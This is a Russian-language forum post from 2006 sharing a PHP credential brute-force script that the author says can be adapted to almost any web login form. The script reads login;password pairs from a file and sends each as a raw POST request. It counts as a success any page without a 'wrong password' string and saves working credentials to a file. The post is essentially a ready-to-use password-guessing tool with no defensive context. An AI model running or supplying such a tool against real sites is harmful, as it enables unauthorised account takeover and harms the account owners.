Показать сообщение отдельно

  #10  
Старый 13.11.2006, 20:56
nc.STRIEM
Members of Antichat - Level 5
Регистрация: 05.04.2006
Сообщений: 1,066
Провел на форуме:
3493315

Репутация: 1228


По умолчанию

БРУТФОРС ФОРМ! настраиваеться практически под любую..
PHP код:
<?################Брутфорс  Форм##################
///////////////////////----(c) nc.STRIEM----//////////////////////////
    
$filepas="file.txt" ///файл   с данными для брута
    
$filegood="good.txt"///файл с подходящими паролями
    
$endifg=1///закончить при первом же найденом 1-да 0-нет
    
    
$iskl=array();
//////строки которых не  должно быть в правельных страницах/////////
     
$iskl[0]="Неверный пароль";
    
//$iskl[1]="Неверная длина пароля!";
    //$iskl[2]="ERROR";
    //$iskl[3]="Ошибка";
    
//////////////////////////////////////////////////////////////////
    
$host="localhost";  ///хост
    
$script="/form.php";     ///скрипт 
                                    
///////////////////////////////////////////////Передоваемый Header ///////////////////////////////////////////////////////    
    
$header="POST http://$host$script HTTP/1.0\r\n";
    
$header.= "Host: $host\r\n";
    
$header.= "Content-Type: application/x-www-form-urlencoded\r\n";
//////Не обязательные параметры! но не всегда///
    //$header.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*\r\n";
    //$header.="Accept-Language: ru\r\n";
    //$header.= "Proxy-Connection: Keep-Alive\r\n";
    //$header.= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 4.6 (build 01425))\r\n";
    //$header.="Referer:  http://microsoft.com\r\n";
    //$header.="Cookie: CREATED=nc.STRIEM\r\n";
####################################Сам брут#####################################    
    
set_time_limit(0);
    
$fo=fopen($filepas,"r");
    
$kolvoporolei=0;
    
$timestart=time('U');
    
$fgo=fopen($filegood,"a");
    echo 
"<h3><center>Мы брутили http://$host$script</center></h3>";
 while(!
feof($fo))
 {
/////////////////////////////////////////////
$fp fsockopen("www.".$host80$errno$errstr30);
if (!
$fp
    echo 
"$errstr ($errno)<br />\n";
 else 
 {
  
$kolvoporolei++;
   
$dan=rtrim(fgets($fo));  /////берем данные из файла
    
$dannii=split(';',$dan);
    
    
$out=$header;
    
$zapr="login=$dannii[0]&password=$dannii[1]";     ////имена переменных и их значения сюда
    
$contleng=strlen($zapr);
    
$out.= "Content-Length: $contleng\r\n";
    
$out.= "Pragma: no-cache\r\n\r\n";
    
$out.= "$zapr\r\n\r\n";

     
fwrite($fp$out);
    
$conte="";
 while (!
feof($fp)) 
   
$conte.=fgets($fp);
   
  
$est=1;
for(
$i=0;$i<sizeof($iskl);$i++)
   if(
strstr($conte$iskl[$i]))
     {
     
$est=0;
     break;
     }
/////может понадобиться при настройки///
//echo htmlspecialchars($conte); break;
/////////////////////////////////
if($est)
   {
   
fwrite($fgo,$dannii[0].";".$dannii[1]."\n");
   echo 
"<h3><tt>Найдено:".$dannii[0].";".$dannii[1]."</tt></h3>";
   if(
$endifg)
      break;
    }
     
fclose($fp);
  }
}
//////////////////////////////////////////////////////////////////////////////////////////
fclose($fgo);
$time=time('U')-$timestart;
echo 
"<h1><center>Закончено</center></h1><br><h3><tt>Проверенно $kolvoporolei вариантов, за $time секунд!</tt></h3><br><h4 align=center><center><tt>©*nc.STRIEM<br>nc.striem@mail.ru</tt></center></h4>";
?>

Последний раз редактировалось nc.STRIEM; 21.11.2006 в 23:24..
 
Ответить с цитированием